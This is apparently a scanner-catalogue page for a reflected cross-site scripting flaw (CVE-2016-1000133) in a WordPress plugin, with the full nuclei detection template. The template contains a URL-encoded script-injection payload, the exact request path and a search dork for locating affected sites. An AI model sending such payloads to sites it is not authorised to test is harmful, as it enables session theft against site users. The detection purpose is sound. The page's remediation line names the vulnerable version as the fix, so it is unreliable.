WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress forget-about-shortcode-buttons plugin (1.1.1) or apply the necessary patches.

How to confirm it

Send: GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt
Positive when: contains "Forget About Shortcode Buttons ="
Send: GET {{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28docum…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000133 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000133

info:
  name: WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress forget-about-shortcode-buttons plugin (1.1.1) or apply the necessary patches.
  reference:
    - https://wordpress.org/plugins/forget-about-shortcode-buttons
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=602
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000133
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000133
    cwe-id: CWE-79
    epss-score: 0.03415
    epss-percentile: 0.88994
    cpe: cpe:2.3:a:designsandcode:forget_about_shortcode_buttons:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: designsandcode
    product: "forget_about_shortcode_buttons"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/forget-about-shortcode-buttons\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,designsandcode,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Forget About Shortcode Buttons ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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